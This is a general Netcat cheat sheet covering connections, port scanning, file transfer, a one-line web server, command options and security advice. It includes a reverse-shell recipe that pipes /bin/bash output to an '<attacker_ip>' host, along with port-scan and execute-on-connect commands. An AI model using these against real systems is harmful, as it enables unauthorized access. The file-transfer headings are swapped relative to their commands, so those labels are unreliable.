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March 02, 2025 23:02
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Netcat Cheatsheet

A comprehensive cheat sheet for Netcat, covering essential commands, options, and usage examples for various networking tasks.

Core Functionality

Basic Usage

nc <options> <hostname> <port> - Basic syntax for establishing a Netcat connection.

Example: nc example.com 80

nc -l -p <port> - Listen for incoming connections on a specified port.

Example: nc -l -p 12345

nc -u <options> <hostname> <port> - Use UDP instead of TCP.

Example: nc -u example.com 53

nc -v <options> <hostname> <port> - Enables verbose mode for more detailed output.

Example: nc -v example.com 25

nc -n <hostname> <port> - Numerical-only IP address, no DNS lookup.

Example: nc -n 192.168.1.100 80

nc -w <seconds> <hostname> <port> - Specifies a timeout for connection attempts.

Example: nc -w 5 example.com 80

Port Scanning

nc -v -z <hostname> <portrange> - Scan a range of ports to check for open services.

Example: nc -v -z example.com 20-25

nc -v -z -u <hostname> <portrange> - Scan UDP ports.

Example: nc -v -z -u example.com 50-60

-z - Zero-I/O mode (used for scanning). Only reports connection status.

Advanced Features

File Transfer

Sending File:

nc -l -p <port> > received_file
Listens on port and saves incoming data to received_file.

Receiving File:

nc <hostname> <port> < file_to_send
Connects to the listener and sends the contents of file_to_send.

Example (Sender):

nc 192.168.1.100 5000 < important.txt

Example (Receiver):

nc -l -p 5000 > important.txt

Creating a Simple Web Server

Serving static content with Netcat:

while true; do nc -l -p 8080 < index.html; done

This will serve index.html on port 8080.

Alternative (more verbose) example:

while true; do
  echo -e 'HTTP/1.1 200 OK\n\n<html><body><h1>Hello, World!</h1></body></html>' | nc -l -p 8080
done

Reverse Shell

Victim (Listening):

nc -l -p <port> | /bin/bash 2>&1 | nc <attacker_ip> <port2>

Attacker (Connecting):

nc -l -p <port2>

Explanation:

The victim listens and pipes the shell to the attacker, who is also listening.

Netcat Options

Common Options

-l

Listen mode, for inbound connections.

-p <port>

Specify the port number.

-u

Use UDP instead of default TCP.

-v

Verbose mode.

-n

Numeric-only IP addresses, no DNS.

-w <seconds>

Timeout for connection attempts.

-k

Keep listening after client disconnects (multiple connections).

Advanced Options

-e <program>

Execute a program after connection.

-c <command>

Execute command via sh after connection.

-x <source_port>

Source port number.

-s <source_ip_address>

Source IP address.

Security Considerations

Security Risks

Netcat lacks built-in encryption, making it vulnerable to eavesdropping and man-in-the-middle attacks. Data transmitted is in plain text.

Using Netcat to create reverse shells can introduce significant security risks if not properly secured. Attackers can gain unauthorized access to systems.

Ensure that Netcat is used within a secure and trusted network to minimize the risk of unauthorized access and data breaches.

Mitigation Strategies

Use Netcat in conjunction with encryption tools like stunnel or OpenSSL to secure the connection and protect sensitive data.

Implement strong authentication mechanisms to verify the identity of connecting parties.

Apply firewall rules and access control policies to restrict Netcat usage to authorized users and networks.

Regularly audit Netcat usage and network traffic to detect and prevent unauthorized activities.

Alternatives

Consider using more secure alternatives like ncat (from Nmap project) which supports encryption and other security features.

ncat --ssl example.com 443